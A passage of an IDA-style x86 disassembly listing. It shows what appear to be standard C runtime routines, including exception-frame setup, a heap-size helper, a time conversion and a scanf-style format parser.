		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D161
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D161
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417BEE
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D161:				; CODE XREF: sub_41D11A+2Aj
					; sub_41D11A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D11A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D1FC

; =============== S U B	R O U T	I N E =======================================



sub_41D181	proc near		; CODE XREF: sub_41CF56+8Fp
					; sub_41CF56+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D1A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41D1A2:				; CODE XREF: sub_41D181+12j
		pop	esi
		retn
sub_41D181	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1B0	proc near		; CODE XREF: sub_417C81+40p
					; sub_41CCF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_417F6D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D1EF
		mov	ecx, 2

loc_41D1EF:				; CODE XREF: sub_41D1B0+38j
		push	ecx
		call	sub_417F6D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D1B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1FC	proc near		; CODE XREF: sub_41CA45:loc_41CBE7j
					; sub_41CD8F:loc_41CDA0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042064E SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238A0
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_489534
		test	eax, eax
		jz	short loc_41D244
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D240
; ---------------------------------------------------------------------------

loc_41D239:				; DATA XREF: .data:004238B0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D23D:				; DATA XREF: .data:004238B4o
		mov	esp, [ebp+var_18]

loc_41D240:				; CODE XREF: sub_41D1FC+3Bj
		and	[ebp+var_4], 0

loc_41D244:				; CODE XREF: sub_41D1FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D24D:				; DATA XREF: .data:004238A8o
		jmp	loc_42064E
sub_41D1FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D252	proc near		; CODE XREF: sub_417E23+23p
					; sub_417E23:loc_417E8Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4238B8
		push	offset sub_41F4A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43AE04
		test	eax, eax
		jz	short loc_41D29A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D1FC
		jmp	short loc_41D296
; ---------------------------------------------------------------------------

loc_41D28F:				; DATA XREF: .data:004238C8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D293:				; DATA XREF: .data:004238CCo
		mov	esp, [ebp+var_18]

loc_41D296:				; CODE XREF: sub_41D252+3Bj
		and	[ebp+var_4], 0

loc_41D29A:				; CODE XREF: sub_41D252+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D2A3:				; DATA XREF: .data:004238C0o
		jmp	sub_41D1FC
sub_41D252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2A8	proc near		; CODE XREF: sub_418303+7p
					; sub_418303+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_48AB28
		push	esi
		cmp	eax, 3
		jnz	short loc_41D2D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AA89
		test	eax, eax
		pop	ecx
		jz	short loc_41D2CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D306
; ---------------------------------------------------------------------------

loc_41D2CE:				; CODE XREF: sub_41D2A8+1Cj
		push	esi
		jmp	short loc_41D2F8
; ---------------------------------------------------------------------------

loc_41D2D1:				; CODE XREF: sub_41D2A8+Ej
		cmp	eax, 2
		jnz	short loc_41D2F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B7E4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D2F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D306
; ---------------------------------------------------------------------------

loc_41D2F5:				; CODE XREF: sub_41D2A8+2Cj
					; sub_41D2A8+43j
		push	[ebp+arg_0]

loc_41D2F8:				; CODE XREF: sub_41D2A8+27j
		push	0
		push	dword_48AB24
		call	dword_4231C0	; RtlSizeHeap

loc_41D306:				; CODE XREF: sub_41D2A8+24j
					; sub_41D2A8+4Bj
		pop	esi
		leave
		retn
sub_41D2A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D309	proc near		; CODE XREF: sub_4183B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D3C5
		cmp	ebx, 8Ah
		jg	loc_41D3C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43B534[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D348
		cmp	edi, 2
		jle	short loc_41D348
		inc	esi

loc_41D348:				; CODE XREF: sub_41D309+37j
					; sub_41D309+3Cj
		call	sub_420665
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43B450
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D3BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D3C1
		cmp	dword_43B454, 0
		jz	short loc_41D3C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4208D8
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D3C1

loc_41D3BB:				; CODE XREF: sub_41D309+90j
		add	ecx, dword_43B458

loc_41D3C1:				; CODE XREF: sub_41D309+96j
					; sub_41D309+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D3C8
; ---------------------------------------------------------------------------

loc_41D3C5:				; CODE XREF: sub_41D309+13j
					; sub_41D309+1Fj
		or	eax, 0FFFFFFFFh

loc_41D3C8:				; CODE XREF: sub_41D309+BAj
		pop	ebx
		leave
		retn
sub_41D309	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3CB	proc near		; CODE XREF: sub_418533+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_489540, 0
		push	ebx
		jnz	short loc_41D3F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D494
		cmp	eax, 7Ah
		jg	loc_41D494
		sub	eax, 20h
		jmp	loc_41D494
; ---------------------------------------------------------------------------

loc_41D3F6:				; CODE XREF: sub_41D3CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D429
		cmp	dword_438C8C, 1
		jle	short loc_41D416
		push	2
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41D421
; ---------------------------------------------------------------------------

loc_41D416:				; CODE XREF: sub_41D3CB+3Dj
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41D421:				; CODE XREF: sub_41D3CB+49j
		test	eax, eax
		jnz	short loc_41D429

loc_41D425:				; CODE XREF: sub_41D3CB+AFj
		mov	eax, ebx
		jmp	short loc_41D494
; ---------------------------------------------------------------------------

loc_41D429:				; CODE XREF: sub_41D3CB+34j
					; sub_41D3CB+58j
		mov	edx, off_438A80
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D44C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D455
; ---------------------------------------------------------------------------

loc_41D44C:				; CODE XREF: sub_41D3CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41D455:				; CODE XREF: sub_41D3CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_489540
		call	sub_41E409
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D425
		cmp	eax, 1
		jnz	short loc_41D487
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D494
; ---------------------------------------------------------------------------

loc_41D487:				; CODE XREF: sub_41D3CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D494:				; CODE XREF: sub_41D3CB+14j
					; sub_41D3CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D3CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D497	proc near		; CODE XREF: sub_418752+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41DE9D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D4C6
; ---------------------------------------------------------------------------

loc_41D4C1:				; CODE XREF: sub_41D497+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41D4C6:				; CODE XREF: sub_41D497+28j
		cmp	dword_438C8C, 1
		jle	short loc_41D4DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41D4ED
; ---------------------------------------------------------------------------

loc_41D4DE:				; CODE XREF: sub_41D497+36j
		mov	ecx, off_438A80
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41D4ED:				; CODE XREF: sub_41D497+45j
		cmp	eax, ebx
		jz	short loc_41D527
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41DF24
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41DF0D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420C8C
		add	esp, 0Ch

loc_41D515:				; CODE XREF: sub_41D497+8Ej
		test	eax, eax
		jz	short loc_41D527
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420C8C
		pop	ecx
		jmp	short loc_41D515
; ---------------------------------------------------------------------------

loc_41D527:				; CODE XREF: sub_41D497+58j
					; sub_41D497+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_41DE09
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_41D55E:				; CODE XREF: sub_41D497+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_438C8C, 1
		jle	short loc_41D57B
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41D58A
; ---------------------------------------------------------------------------

loc_41D57B:				; CODE XREF: sub_41D497+D3j
		mov	ecx, off_438A80
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41D58A:				; CODE XREF: sub_41D497+E2j
		test	eax, eax
		jz	short loc_41D5A0
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5A0:				; CODE XREF: sub_41D497+F5j
		cmp	ebx, 4Eh
		jg	short loc_41D5E3
		jz	short loc_41D605
		cmp	ebx, 2Ah
		jz	short loc_41D5DE
		cmp	ebx, 46h
		jz	short loc_41D605
		cmp	ebx, 49h
		jz	short loc_41D5C0
		cmp	ebx, 4Ch
		jnz	short loc_41D5F2
		inc	[ebp+var_D]
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5C0:				; CODE XREF: sub_41D497+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_41D5F2
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_41D5F2
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D497+113j
		inc	[ebp+var_E]
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5E3:				; CODE XREF: sub_41D497+10Cj
		cmp	ebx, 68h
		jz	short loc_41D5FF
		cmp	ebx, 6Ch
		jz	short loc_41D5F7
		cmp	ebx, 77h
		jz	short loc_41D5FA

loc_41D5F2:				; CODE XREF: sub_41D497+122j
					; sub_41D497+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5F7:				; CODE XREF: sub_41D497+154j
		inc	[ebp+var_D]

loc_41D5FA:				; CODE XREF: sub_41D497+159j
		inc	[ebp+var_5]
		jmp	short loc_41D605
; ---------------------------------------------------------------------------

loc_41D5FF:				; CODE XREF: sub_41D497+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]

loc_41D605:				; CODE XREF: sub_41D497+107j
					; sub_41D497+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_41D55E
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_41D62A
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax

loc_41D62A:				; CODE XREF: sub_41D497+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_41D648
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_41D644
		cmp	al, 43h
		jz	short loc_41D644
		or	[ebp+var_5], 0FFh
		jmp	short loc_41D648
; ---------------------------------------------------------------------------

loc_41D644:				; CODE XREF: sub_41D497+1A1j
					; sub_41D497+1A5j
		mov	[ebp+var_5], 1

loc_41D648:				; CODE XREF: sub_41D497+19Bj
					; sub_41D497+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_41D681
		cmp	esi, 63h
		jz	short loc_41D672
		cmp	esi, 7Bh
		jz	short loc_41D672
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41DF24
		pop	ecx
		jmp	short loc_41D67D
; ---------------------------------------------------------------------------

loc_41D672:				; CODE XREF: sub_41D497+1C5j
					; sub_41D497+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DEF3

loc_41D67D:				; CODE XREF: sub_41D497+1D9j
		pop	ecx
		mov	[ebp+var_14], eax

loc_41D681:				; CODE XREF: sub_41D497+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D691
		cmp	[ebp+var_C], eax
		jz	loc_41DE6D

loc_41D691:				; CODE XREF: sub_41D497+1EFj
		cmp	esi, 6Fh
		jg	loc_41D8F8
		jz	loc_41DBAA
		cmp	esi, 63h
		jz	loc_41D8D5
		cmp	esi, 64h
		jz	loc_41DBAA
		jle	loc_41D922
		cmp	esi, 67h
		jle	short loc_41D6F5
		cmp	esi, 69h
		jz	short loc_41D6DD
		cmp	esi, 6Eh
		jnz	loc_41D922
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41DDD8
		jmp	loc_41DDFE
; ---------------------------------------------------------------------------

loc_41D6DD:				; CODE XREF: sub_41D497+229j
		push	64h
		pop	esi

loc_41D6E0:				; CODE XREF: sub_41D497+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41D96A
		mov	[ebp+var_17], 1
		jmp	loc_41D96F
; ---------------------------------------------------------------------------

loc_41D6F5:				; CODE XREF: sub_41D497+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41D711
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41D716
; ---------------------------------------------------------------------------

loc_41D711:				; CODE XREF: sub_41D497+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41D72D

loc_41D716:				; CODE XREF: sub_41D497+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D730
; ---------------------------------------------------------------------------

loc_41D72D:				; CODE XREF: sub_41D497+27Dj
		mov	edi, [ebp+arg_0]

loc_41D730:				; CODE XREF: sub_41D497+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41D73F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41D746

loc_41D73F:				; CODE XREF: sub_41D497+29Dj
		mov	[ebp+var_C], 15Dh

loc_41D746:				; CODE XREF: sub_41D497+2A6j
					; sub_41D497+2F2j
		cmp	dword_438C8C, 1
		jle	short loc_41D75B
		push	4
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41D766
; ---------------------------------------------------------------------------

loc_41D75B:				; CODE XREF: sub_41D497+2B6j
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41D766:				; CODE XREF: sub_41D497+2C2j
		test	eax, eax
		jz	short loc_41D78B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D78B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D746
; ---------------------------------------------------------------------------

loc_41D78B:				; CODE XREF: sub_41D497+2D1j
					; sub_41D497+2DBj
		cmp	byte_438C90, bl
		jnz	short loc_41D7F9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D7F9
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		mov	al, byte_438C90
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi

loc_41D7B4:				; CODE XREF: sub_41D497+360j
		cmp	dword_438C8C, 1
		jle	short loc_41D7C9
		push	4
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41D7D4
; ---------------------------------------------------------------------------

loc_41D7C9:				; CODE XREF: sub_41D497+324j
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41D7D4:				; CODE XREF: sub_41D497+330j
		test	eax, eax
		jz	short loc_41D7F9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D7F9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41D7B4
; ---------------------------------------------------------------------------

loc_41D7F9:				; CODE XREF: sub_41D497+2FAj
					; sub_41D497+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41D891
		cmp	ebx, 65h
		jz	short loc_41D811
		cmp	ebx, 45h
		jnz	loc_41D891

loc_41D811:				; CODE XREF: sub_41D497+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D891
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41D838
		mov	[esi], al
		inc	esi
		jmp	short loc_41D83D
; ---------------------------------------------------------------------------

loc_41D838:				; CODE XREF: sub_41D497+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41D85B

loc_41D83D:				; CODE XREF: sub_41D497+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41D84C
		and	[ebp+var_C], eax
		jmp	short loc_41D85B
; ---------------------------------------------------------------------------

loc_41D84C:				; CODE XREF: sub_41D497+3AEj
					; sub_41D497+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41D85B:				; CODE XREF: sub_41D497+3A4j
					; sub_41D497+3B3j
		cmp	dword_438C8C, 1
		jle	short loc_41D870
		push	4
		push	ebx
		call	sub_41A342
		pop	ecx
		pop	ecx
		jmp	short loc_41D87B
; ---------------------------------------------------------------------------

loc_41D870:				; CODE XREF: sub_41D497+3CBj
		mov	eax, off_438A80
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_41D87B:				; CODE XREF: sub_41D497+3D7j
		test	eax, eax
		jz	short loc_41D891
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41D891
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41D84C
; ---------------------------------------------------------------------------

loc_41D891:				; CODE XREF: sub_41D497+366j
					; sub_41D497+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41DF0D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41DE9D
		cmp	[ebp+var_E], 0
		jnz	loc_41DDFE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43ADE8
		add	esp, 0Ch
		jmp	loc_41DDFE
; ---------------------------------------------------------------------------

loc_41D8D5:				; CODE XREF: sub_41D497+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41D8E4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1

loc_41D8E4:				; CODE XREF: sub_41D497+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41D8EE
		mov	[ebp+var_16], 1

loc_41D8EE:				; CODE XREF: sub_41D497+451j
		mov	edi, offset dword_43AE10
		jmp	loc_41DA03
; ---------------------------------------------------------------------------

loc_41D8F8:				; CODE XREF: sub_41D497+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DBA6
		sub	eax, 3
		jz	loc_41D9F4
		dec	eax
		dec	eax
		jz	loc_41DBAA
		sub	eax, 3
		jz	loc_41D6E0
		sub	eax, 3
		jz	short loc_41D946

loc_41D922:				; CODE XREF: sub_41D497+21Bj
					; sub_41D497+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41DE6D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41DDFE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41DDFE
; ---------------------------------------------------------------------------

loc_41D946:				; CODE XREF: sub_41D497+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41D950
		mov	[ebp+var_16], 1

loc_41D950:				; CODE XREF: sub_41D497+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DA07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DA03
; ---------------------------------------------------------------------------

loc_41D96A:				; CODE XREF: sub_41D497+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41D991

loc_41D96F:				; CODE XREF: sub_41D497+259j
		dec	[ebp+var_C]
		jnz	short loc_41D980
		cmp	[ebp+var_20], 0
		jz	short loc_41D980
		mov	[ebp+var_F], 1
		jmp	short loc_41D991
; ---------------------------------------------------------------------------

loc_41D980:				; CODE XREF: sub_41D497+4DBj
					; sub_41D497+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_41D991:				; CODE XREF: sub_41D497+4D6j
					; sub_41D497+4E7j
		cmp	ebx, 30h
		jnz	loc_41DBDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41DEF3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41D9DF
		cmp	bl, 58h
		jz	short loc_41D9DF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41D9C9
		push	6Fh

loc_41D9C3:				; CODE XREF: sub_41D497+55Bj
		pop	esi
		jmp	loc_41DBDF
; ---------------------------------------------------------------------------

loc_41D9C9:				; CODE XREF: sub_41D497+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41DF0D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DBDC
; ---------------------------------------------------------------------------

loc_41D9DF:				; CODE XREF: sub_41D497+517j
					; sub_41D497+51Cj
		push	[ebp+arg_0]
